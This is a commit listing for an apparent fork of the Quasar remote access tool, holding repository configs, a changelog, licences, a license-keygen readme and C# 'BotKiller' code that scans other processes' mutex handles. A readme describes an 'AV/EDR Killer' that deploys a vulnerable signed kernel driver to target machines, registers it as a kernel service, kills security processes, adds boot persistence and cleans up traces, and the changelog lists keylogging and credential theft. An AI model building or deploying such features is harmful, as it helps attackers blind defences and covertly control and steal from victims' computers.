initial commit

This commit is contained in:
i2p
2026-08-27 11:22:07 -06:00
commit eca95b8d1c
2035 changed files with 91142 additions and 0 deletions
Vendored
BIN
View File
Binary file not shown.
BIN
View File
Binary file not shown.
+22
View File
@@ -0,0 +1,22 @@
# Auto detect text files and perform LF normalization
* text=auto
# Custom for Visual Studio
*.cs diff=csharp
*.sln merge=union
*.csproj merge=union
*.vbproj merge=union
*.fsproj merge=union
*.dbproj merge=union
# Standard to msysgit
*.doc diff=astextplain
*.DOC diff=astextplain
*.docx diff=astextplain
*.DOCX diff=astextplain
*.dot diff=astextplain
*.DOT diff=astextplain
*.pdf diff=astextplain
*.PDF diff=astextplain
*.rtf diff=astextplain
*.RTF diff=astextplain
+77
View File
@@ -0,0 +1,77 @@
name: Bug report
description: Create a bug or crash report
labels: ["bug"]
body:
- type: input
attributes:
label: Quasar version
placeholder: 1.4.0 or commit-id
validations:
required: true
- type: input
attributes:
label: Server installed .NET version
placeholder: .NET 6.0
- type: dropdown
attributes:
label: Server operating system
options:
- Windows 11/Server 2022
- Windows 10/Server 2019/2016
- Windows 8/8.1/Server 2012
- Windows 7/Server 2008 R2
- Other
validations:
required: true
- type: input
attributes:
label: Client installed .NET version
placeholder: .NET 6.0
- type: dropdown
attributes:
label: Client operating system
options:
- Windows 11/Server 2022
- Windows 10/Server 2019/2016
- Windows 8/8.1/Server 2012
- Windows 7/Server 2008 R2
- Other
validations:
required: true
- type: dropdown
attributes:
label: Build configuration
options:
- Debug
- Release
validations:
required: true
- type: textarea
attributes:
label: Describe the bug
description: A clear and concise description of what the bug is.
validations:
required: true
- type: textarea
attributes:
label: How to reproduce
description: The steps on how to reproduce the bug.
validations:
required: true
- type: textarea
attributes:
label: Expected behavior
description: Describe the result that you expect to get after performing the steps.
validations:
required: true
- type: textarea
attributes:
label: Actual behavior
description: Describe the actual behavior that you observed after performing the steps.
validations:
required: true
- type: textarea
attributes:
label: Additional context
description: Any other information that may help us fix the issue goes here (e.g. screenshots).
+23
View File
@@ -0,0 +1,23 @@
name: Feature request
description: Suggest a new feature
labels: ["enhancement"]
body:
- type: textarea
attributes:
label: Problem description
description: A clear and concise description of what the problem is.
placeholder: |
Example: "I'm always frustrated when [...]", or "I often need to [...]"
validations:
required: true
- type: textarea
attributes:
label: Proposal
description: A clear and concise description of what you want to happen.
validations:
required: true
- type: textarea
attributes:
label: Additional context
description: Add any other context or screenshots about the feature request here.
+204
View File
@@ -0,0 +1,204 @@
## Ignore Visual Studio temporary files, build results, and
## files generated by popular Visual Studio add-ons.
# User-specific files
*.suo
*.user
*.userosscache
*.sln.docstates
# User-specific files (MonoDevelop/Xamarin Studio)
*.userprefs
# Build results
[Dd]ebug/
[Dd]ebugPublic/
[Rr]elease/
[Rr]eleases/
x64/
x86/
bld/
[Bb]in/
[Oo]bj/
# Visual Studio 2015 cache/options directory
.vs/
# MSTest test Results
[Tt]est[Rr]esult*/
[Bb]uild[Ll]og.*
# NUNIT
*.VisualState.xml
TestResult.xml
# Build Results of an ATL Project
[Dd]ebugPS/
[Rr]eleasePS/
dlldata.c
# DNX
project.lock.json
artifacts/
*_i.c
*_p.c
*_i.h
*.ilk
*.meta
*.obj
*.pch
*.pdb
*.pgc
*.pgd
*.rsp
*.sbr
*.tlb
*.tli
*.tlh
*.tmp
*.tmp_proj
*.log
*.vspscc
*.vssscc
.builds
*.pidb
*.svclog
*.scc
# Chutzpah Test files
_Chutzpah*
# Visual C++ cache files
ipch/
*.aps
*.ncb
*.opensdf
*.sdf
*.cachefile
# Visual Studio profiler
*.psess
*.vsp
*.vspx
# TFS 2012 Local Workspace
$tf/
# Guidance Automation Toolkit
*.gpState
# ReSharper is a .NET coding add-in
_ReSharper*/
*.[Rr]e[Ss]harper
*.DotSettings.user
# JustCode is a .NET coding add-in
.JustCode
# TeamCity is a build add-in
_TeamCity*
# DotCover is a Code Coverage Tool
*.dotCover
# NCrunch
_NCrunch_*
.*crunch*.local.xml
# MightyMoose
*.mm.*
AutoTest.Net/
# Web workbench (sass)
.sass-cache/
# Installshield output folder
[Ee]xpress/
# DocProject is a documentation generator add-in
DocProject/buildhelp/
DocProject/Help/*.HxT
DocProject/Help/*.HxC
DocProject/Help/*.hhc
DocProject/Help/*.hhk
DocProject/Help/*.hhp
DocProject/Help/Html2
DocProject/Help/html
# Click-Once directory
publish/
# Publish Web Output
*.[Pp]ublish.xml
*.azurePubxml
# TODO: Comment the next line if you want to checkin your web deploy settings
# but database connection strings (with potential passwords) will be unencrypted
*.pubxml
*.publishproj
# NuGet Packages
*.nupkg
# The packages folder can be ignored because of Package Restore
**/packages/*
# except build/, which is used as an MSBuild target.
!**/packages/build/
# Uncomment if necessary however generally it will be regenerated when needed
#!**/packages/repositories.config
# Windows Azure Build Output
csx/
*.build.csdef
# Windows Store app package directory
AppPackages/
# Visual Studio cache files
# files ending in .cache can be ignored
*.[Cc]ache
# but keep track of directories ending in .cache
!*.[Cc]ache/
# Others
ClientBin/
[Ss]tyle[Cc]op.*
~$*
*~
*.dbmdl
*.dbproj.schemaview
*.pfx
*.publishsettings
node_modules/
orleans.codegen.cs
# RIA/Silverlight projects
Generated_Code/
# Backup & report files from converting an old project file
# to a newer Visual Studio version. Backup files are not needed,
# because we have git ;-)
_UpgradeReport_Files/
Backup*/
UpgradeLog*.XML
UpgradeLog*.htm
# SQL Server files
*.mdf
*.ldf
# Business Intelligence projects
*.rdl.data
*.bim.layout
*.bim_*.settings
# Microsoft Fakes
FakesAssemblies/
# Node.js Tools for Visual Studio
.ntvs_analysis.dat
# Visual Studio 6 build log
*.plg
# Visual Studio 6 workspace options file
*.opt
+74
View File
@@ -0,0 +1,74 @@
AV/EDR KILLER FEATURE
=====================
OVERVIEW:
---------
The AV/EDR Killer feature allows you to disable antivirus and endpoint detection software
on target systems using a vulnerable kernel driver exploit.
HOW IT WORKS:
-------------
1. A vulnerable signed kernel driver (vulndriver.sys) is deployed to the target
2. The driver is registered as a Windows kernel service
3. Killer.exe uses the driver to terminate AV/EDR processes from kernel mode
4. Optional: Make the driver persistent across reboots
USAGE:
------
1. Right-click on a connected client in Quasar
2. Navigate to: Monitoring > AV/EDR Killer
3. The AV/EDR Killer window will open with 4 options:
a) CHECK DRIVER - Verifies if the vulnerable driver is installed and running
b) INSTALL DRIVER - Deploys and registers the vulnerable driver
- Saves vulndriver.sys to a random temp directory
- Registers it as "QuasarDriver" kernel service
- Starts the driver service
- Requires administrator privileges on target
c) KILL AV/EDR - Executes the AV/EDR termination process
- Deploys Killer.exe to random temp directory
- Uses the vulnerable driver to kill security processes
- Shows real-time output in the log window
- Automatically cleans up after execution
d) MAKE PERSISTENT - Configures driver to auto-start on boot
- Modifies registry to enable automatic startup
- Driver will load on every system boot
COMMAND OUTPUT WINDOW:
----------------------
The black console-style window at the bottom shows real-time output from the target:
- Green text = Normal output
- Red text = Errors
- All operations are logged with timestamps
IMPORTANT NOTES:
----------------
- This feature requires ADMINISTRATOR privileges on the target system
- The driver installation may trigger UAC prompts on the target
- AV/EDR termination is a HIGH-RISK operation that will trigger alerts
- Use responsibly and only on systems you have authorization to access
- The driver and killer are automatically deployed from the Resources folder
FILES INVOLVED:
---------------
- vulndriver.sys: Vulnerable kernel driver (38 KB)
- Killer.exe: AV/EDR termination tool (205 KB)
- Both files are embedded in Quasar.exe and deployed on-demand
TECHNICAL DETAILS:
------------------
- Driver service name: QuasarDriver
- Deployment location: Random subdirectory in %TEMP%
- Driver type: Kernel mode driver
- Communication: Real-time output streaming via protobuf messages
- Cleanup: Automatic removal of Killer.exe after execution
SECURITY CONSIDERATIONS:
------------------------
- This is an offensive security tool - use ethically
- May be detected by advanced EDR solutions
- Driver signing may be flagged by some security software
- Always test in controlled environments first
+104
View File
@@ -0,0 +1,104 @@
# Quasar Changelog
## Quasar v1.4.1 [12.03.2023]
* Added missing WOW64 subsystem autostart locations
* Fixed file transfers of files larger than 2 GB
* Fixed file transfers of empty files
* Fixed browser credentials recovery
* Fixed race condition on shutdown
* Fixed IP Geolocation
* Fixed opening remote shell sessions on non-system drives
* Fixed incorrectly set file attributes on client installations
* Fixed sorting of listview columns with numbers
* Updated dependencies
## Quasar v1.4.0 [05.06.2020]
* **Changed target framework to .NET Framework 4.5.2**
* **Changed license to MIT**
* Changed message serializer to Protobuf
* Changed versioning scheme to Semantic Versioning (https://semver.org/)
* Added attended/unattended client modes
* Added TLS 1.2 as transport encryption
* Added UTC timestamps to log files
* Added dependencies as NuGet packages
* Updated dependencies
* Updated message processing in client and server
* Updated mouse and keyboard input to SendInput API
* Fixed file transfer vulnerbilities ([#623](https://github.com/quasar/Quasar/issues/623))
* Lots of under the hood changes for an upcoming plugin system
## Quasar v1.3.0.0 [28.09.2016]
* Added Registry Editor
* Added Remote Webcam
* Added Windows DPI scaling support
* Added IPv6 support
* Added ability to elevate Client
* Added full Unicode support
* Added Remote TCP Connections Viewer
* Added option to hide sub directory of installation path
* Improved cryptography
* Fixed XSS vulnerability in Keylogger Logs
* Fixed Remote Messagebox having wrong icon
* Fixed FileZilla Recovery base64 decoding
* Fixed UPnP discovery freezing in some cases
* Fixed IP Geolocation
* Fixed Client loses Administrator privileges on restart
* Some minor improvements
## Quasar v1.2.0.0 [12.10.2015]
* Added Client restart on unhandled exceptions
* Added additional settings to Keylogger (set/hide log-directory)
* Added encrypted Keylogger logs
* Improved Client Builder
* Improved System Information
* Improved File Manager behaviour when loading directories with many files
* Improved Remote Shell (scrolls now correctly to the bottom when new text received)
* Improved compatibility with many connected clients (1k+)
* Improved AES encryption/decryption speed (if available, makes use of hardware accelerated AES)
* Fixed Client not setting file attribute correctly on startup
* Fixed Remote Desktop lagging with mouse input and maximized window
* Some minor improvements
## Quasar v1.1.0.0 [30.08.2015]
* **Changed Target Framework to .NET Framework 4.0 Client Profile**
* Added deletion of ZoneIdentifier file when installing
* Improved Client installation error handling
* Improved Client HardwareID generation
* Improved Client-Server handshake
* Support detection of multiple AVs, Firewalls, GPUs, CPUs
* Fixed Builder Profile not saving correctly Installation Subfolder
* Fixed Builder not validating input correctly
* Fixed Builder creating Client with empty list of hosts
* Fixed Settings Password not hashed when pressing 'Start listening'
* Fixed Reverse Proxy using always wrong port
* Fixed Server throwing NullReferenceException when closing and no Clients connected
* Fixed Client reporting wrong uptime on systems with uptime longer than 49.7 days
* Fixed Client installation path empty on Windows XP 32-bit in some scenarios
* Fixed Client installation to system directory failing on 64-bit OS
* Fixed Client uninstallation not working when file is marked as read-only
* Fixed Client crashing after update on first start in some scenarios
* Fixed Client crashing when list of hosts is empty (Client exits now)
* Fixed Client not reconnecting when Server uses different password
* Fixed Client registry access
* Removed Statistics window, will be remade in a later version
## Quasar v1.0.0.0 [22.08.2015]
* **xRAT is now Quasar**
* Added Password Recovery (Common Browsers and FTP Clients)
* Added Server compatiblity with Mono (Server now runs on Linux with Mono installed)
* Client Builder works also on Linux/Mono
* Added ability to upload batch files
* Added Client support for multiple hosts
* Added maximum simultaneous file downloads/uploads (current max: 2)
* Fixed Remote Shell redirecting of standard output not working after redirecting error output
* Fixed Remote Shell not displaying unicode characters correctly
* Fixed Remote Desktop crash when changing screen resolution
* Fixed File Manager would refresh directory when double-clicking files
* Improved support for Windows 8 and above
* Improved Remote Desktop (Speed, Full Mouse and Keyboard support)
* Improved File Manager (Show name of drive, current path, upload files)
* Improved UPnP support
* Improved Geo IP support
* Improved Builder UI
* Switched from Protobuff to NetSerializer
* Lots of under the hood changes for stability and performance
+19
View File
@@ -0,0 +1,19 @@
# Contributing
1. Fork it
2. Create your feature branch (`git checkout -b my-new-feature`)
3. Commit your changes (`git commit -am 'Add some feature'`)
4. Push to the branch (`git push origin my-new-feature`)
5. Create new pull request (PR)
## Guidelines for pull requests:
1. Respect the coding style of Quasar.
2. Create a new branch for each PR.
3. Single feature or bug-fix per PR.
4. Make single commit per PR.
5. Make your modification compact - don't reformat source code in your request. It makes code review more difficult.
6. PR of reformatting (changing of ws/TAB, line endings or coding style) of source code won't be accepted. Use the issue tracker for your request instead.
7. Typo fixing and code refactoring won't be accepted - please create issues with title started with TYPO to request the changing.
In short: The easier the code review is, the better the chance your pull request will get accepted.
Binary file not shown.

After

Width:  |  Height:  |  Size: 384 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 38 KiB

+21
View File
@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2023 MaxXor
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
+43
View File
@@ -0,0 +1,43 @@
QUASAR LICENSE SYSTEM
=====================
HOW IT WORKS:
-------------
1. When you run Quasar.exe for the first time, it will show a License Activation window
2. The window displays a unique Hardware ID (PC Name + Random String)
3. You need to enter a BIN code to activate Quasar
GENERATING BIN CODES:
---------------------
1. Run Keygen.exe (located in bin\Release\net452\Keygen.exe)
2. Copy the Hardware ID from Quasar's license window
3. Paste it into the Keygen's "Hardware ID" field
4. Click "Generate BIN" button
5. Copy the generated BIN code
6. Paste it into Quasar's "BIN Code" field
7. Click "Activate" or press Enter
IMPORTANT NOTES:
----------------
- Each Hardware ID generates a unique BIN code
- The BIN code is validated using HMAC-SHA256 encryption
- Once activated, the license is saved to "license.dat" file
- If the license file is deleted, you'll need to activate again
- The same Hardware ID will always generate the same BIN code
- Wrong BIN codes will show an error message
FILES:
------
- Quasar.exe: Main server application (requires license)
- Keygen.exe: License key generator
- license.dat: Stores the activated license (auto-generated)
SECURITY:
---------
The license system uses a secret key embedded in both applications.
Do not share the Keygen.exe with unauthorized users.
+21
View File
@@ -0,0 +1,21 @@
The MIT License
Copyright (c) 2011 Bernhard Elbl
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
+39
View File
@@ -0,0 +1,39 @@
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<meta content="text/html; charset=ISO-8859-1"
http-equiv="content-type">
<title>License</title>
</head>
<body>
<h2>The Bouncy Castle Cryptographic C#&reg; API</h2>
<h3>License:</h3>
The Bouncy Castle License<br>
Copyright (c) 2000-2018 The Legion of the Bouncy Castle Inc.
(https://www.bouncycastle.org)<br>
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"), to deal in the
Software without restriction, including without limitation the rights to use, copy, modify, merge,
publish, distribute, sub license, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:<br>
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.<br>
<span style="font-weight: bold;">THE SOFTWARE IS PROVIDED "AS IS",
WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,</span><br
style="font-weight: bold;">
<span style="font-weight: bold;">INCLUDING BUT NOT LIMITED TO THE
WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR</span><br
style="font-weight: bold;">
<span style="font-weight: bold;">PURPOSE AND NONINFRINGEMENT. IN NO
EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE</span><br
style="font-weight: bold;">
<span style="font-weight: bold;">LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR</span><br
style="font-weight: bold;">
<span style="font-weight: bold;">OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER</span><br
style="font-weight: bold;">
<span style="font-weight: bold;">DEALINGS IN THE SOFTWARE.<br>
<br>
</span>
</body>
</html>
+21
View File
@@ -0,0 +1,21 @@
The MIT License (MIT)
Copyright (c) 2010-2018 George Mamaladze
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
+21
View File
@@ -0,0 +1,21 @@
Copyright (c) 2008 - 2015 Jb Evain
Copyright (c) 2008 - 2011 Novell, Inc.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+23
View File
@@ -0,0 +1,23 @@
The MIT License
Copyright (C) 2006 Alan McGovern
Copyright (C) 2007 Ben Motmans
Copyright (C) 2014 Lucas Ontivero
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.
+20
View File
@@ -0,0 +1,20 @@
Copyright (c) 2008-2016 Daniel Doubrovkine, Vestris Inc.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be
included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+2
View File
@@ -0,0 +1,2 @@
Silk icon set 1.3 by Mark James
http://www.famfamfam.com/lab/icons/silk/
+20
View File
@@ -0,0 +1,20 @@
The core Protocol Buffers technology is provided courtesy of Google.
At the time of writing, this is released under the BSD license.
Full details can be found here:
http://code.google.com/p/protobuf/
This .NET implementation is Copyright 2008 Marc Gravell
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
+216
View File
@@ -0,0 +1,216 @@
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
namespace Quasar.Client.BotKiller
{
public class MutexScanner
{
private const int QUERY_TIMEOUT_MS = 100; // Timeout for each handle query
public static List<string> GetProcessMutexes(Process process)
{
List<string> mutexList = new List<string>();
int nHandleInfoSize = 0x10000;
IntPtr ipHandlePointer = Marshal.AllocHGlobal(nHandleInfoSize);
int nLength = 0;
try
{
while (Win32API.NtQuerySystemInformation(16, ipHandlePointer, nHandleInfoSize, ref nLength) == Win32API.STATUS_INFO_LENGTH_MISMATCH)
{
nHandleInfoSize = nLength;
Marshal.FreeHGlobal(ipHandlePointer);
ipHandlePointer = Marshal.AllocHGlobal(nLength);
}
long lHandleCount;
IntPtr ipHandle;
if (Is64Bits())
{
lHandleCount = Marshal.ReadInt64(ipHandlePointer);
ipHandle = new IntPtr(ipHandlePointer.ToInt64() + 8);
}
else
{
lHandleCount = Marshal.ReadInt32(ipHandlePointer);
ipHandle = new IntPtr(ipHandlePointer.ToInt32() + 4);
}
int processHandleCount = 0;
for (long i = 0; i < lHandleCount; i++)
{
try
{
Win32API.SYSTEM_HANDLE_INFORMATION shHandle = new Win32API.SYSTEM_HANDLE_INFORMATION();
if (Is64Bits())
{
shHandle = (Win32API.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, typeof(Win32API.SYSTEM_HANDLE_INFORMATION));
ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(typeof(Win32API.SYSTEM_HANDLE_INFORMATION)) + 8);
}
else
{
ipHandle = new IntPtr(ipHandle.ToInt64() + Marshal.SizeOf(typeof(Win32API.SYSTEM_HANDLE_INFORMATION)));
shHandle = (Win32API.SYSTEM_HANDLE_INFORMATION)Marshal.PtrToStructure(ipHandle, typeof(Win32API.SYSTEM_HANDLE_INFORMATION));
}
if (shHandle.ProcessID != process.Id)
continue;
processHandleCount++;
// Limit handles per process to prevent hanging
if (processHandleCount > 500)
break;
string mutexName = GetMutexNameWithTimeout(shHandle, process);
if (!string.IsNullOrEmpty(mutexName))
{
// Filter out Windows system mutexes
if (mutexName.Contains("WilStaging_") || mutexName.Contains("WilError_"))
continue;
mutexList.Add(mutexName);
}
}
catch { }
}
}
catch { }
finally
{
Marshal.FreeHGlobal(ipHandlePointer);
}
return mutexList;
}
private static string GetMutexNameWithTimeout(Win32API.SYSTEM_HANDLE_INFORMATION shHandle, Process process)
{
string result = null;
var task = Task.Run(() =>
{
try
{
result = GetMutexName(shHandle, process);
}
catch { }
});
if (!task.Wait(QUERY_TIMEOUT_MS))
{
// Timeout - skip this handle
return null;
}
return result;
}
private static string GetMutexName(Win32API.SYSTEM_HANDLE_INFORMATION shHandle, Process process)
{
IntPtr m_ipProcessHwnd = IntPtr.Zero;
IntPtr ipHandle = IntPtr.Zero;
IntPtr ipBasic = IntPtr.Zero;
IntPtr ipObjectName = IntPtr.Zero;
try
{
m_ipProcessHwnd = Win32API.OpenProcess(Win32API.ProcessAccessFlags.DupHandle, false, process.Id);
if (m_ipProcessHwnd == IntPtr.Zero)
return null;
if (!Win32API.DuplicateHandle(m_ipProcessHwnd, shHandle.Handle, Win32API.GetCurrentProcess(), out ipHandle, 0, false, Win32API.DUPLICATE_SAME_ACCESS))
return null;
Win32API.OBJECT_BASIC_INFORMATION objBasic = new Win32API.OBJECT_BASIC_INFORMATION();
ipBasic = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(Win32API.OBJECT_BASIC_INFORMATION)));
int nLength = 0;
int result = Win32API.NtQueryObject(ipHandle, 0, ipBasic, Marshal.SizeOf(typeof(Win32API.OBJECT_BASIC_INFORMATION)), ref nLength);
if (result != 0)
{
Marshal.FreeHGlobal(ipBasic);
return null;
}
objBasic = (Win32API.OBJECT_BASIC_INFORMATION)Marshal.PtrToStructure(ipBasic, typeof(Win32API.OBJECT_BASIC_INFORMATION));
Marshal.FreeHGlobal(ipBasic);
ipBasic = IntPtr.Zero;
if (objBasic.NameInformationLength <= 0 || objBasic.NameInformationLength > 65536)
return null;
nLength = objBasic.NameInformationLength;
ipObjectName = Marshal.AllocHGlobal(nLength);
// Try to query object name with retry limit
int retries = 0;
while ((result = Win32API.NtQueryObject(ipHandle, 1, ipObjectName, nLength, ref nLength)) == -1073741820 && retries < 3)
{
Marshal.FreeHGlobal(ipObjectName);
if (nLength <= 0 || nLength > 65536)
return null;
ipObjectName = Marshal.AllocHGlobal(nLength);
retries++;
}
if (result != 0)
{
Marshal.FreeHGlobal(ipObjectName);
return null;
}
Win32API.OBJECT_NAME_INFORMATION objObjectName = (Win32API.OBJECT_NAME_INFORMATION)Marshal.PtrToStructure(ipObjectName, typeof(Win32API.OBJECT_NAME_INFORMATION));
IntPtr ipTemp;
if (Is64Bits())
ipTemp = new IntPtr(Convert.ToInt64(objObjectName.Name.Buffer.ToString(), 10) >> 32);
else
ipTemp = objObjectName.Name.Buffer;
if (ipTemp != IntPtr.Zero && objObjectName.Name.Length > 0)
{
string name = Marshal.PtrToStringUni(ipTemp, objObjectName.Name.Length / 2);
Marshal.FreeHGlobal(ipObjectName);
ipObjectName = IntPtr.Zero;
// Extract mutex name from full path
if (!string.IsNullOrEmpty(name) && name.Contains("\\"))
{
string[] parts = name.Split('\\');
if (parts.Length > 4)
return parts[4];
}
return name;
}
if (ipObjectName != IntPtr.Zero)
Marshal.FreeHGlobal(ipObjectName);
}
catch { }
finally
{
if (ipBasic != IntPtr.Zero)
Marshal.FreeHGlobal(ipBasic);
if (ipObjectName != IntPtr.Zero)
Marshal.FreeHGlobal(ipObjectName);
if (ipHandle != IntPtr.Zero)
Win32API.CloseHandle(ipHandle);
if (m_ipProcessHwnd != IntPtr.Zero)
Win32API.CloseHandle(m_ipProcessHwnd);
}
return null;
}
private static bool Is64Bits()
{
return Marshal.SizeOf(typeof(IntPtr)) == 8;
}
}
}
+94
View File
@@ -0,0 +1,94 @@
using System;
using System.Runtime.InteropServices;
namespace Quasar.Client.BotKiller
{
public class Win32API
{
[DllImport("ntdll.dll")]
public static extern int NtQueryObject(IntPtr ObjectHandle, int ObjectInformationClass, IntPtr ObjectInformation, int ObjectInformationLength, ref int returnLength);
[DllImport("ntdll.dll")]
public static extern uint NtQuerySystemInformation(int SystemInformationClass, IntPtr SystemInformation, int SystemInformationLength, ref int returnLength);
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll")]
public static extern int CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll")]
public static extern bool DuplicateHandle(IntPtr hSourceProcessHandle, ushort hSourceHandle, IntPtr hTargetProcessHandle, out IntPtr lpTargetHandle, uint dwDesiredAccess, bool bInheritHandle, uint dwOptions);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
[DllImport("user32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
public static extern bool IsWindowVisible(IntPtr hWnd);
[DllImport("ntdll.dll")]
public static extern int NtSetInformationProcess(IntPtr hProcess, int processInformationClass, ref int processInformation, int processInformationLength);
public const uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004;
public const int DUPLICATE_SAME_ACCESS = 2;
[Flags]
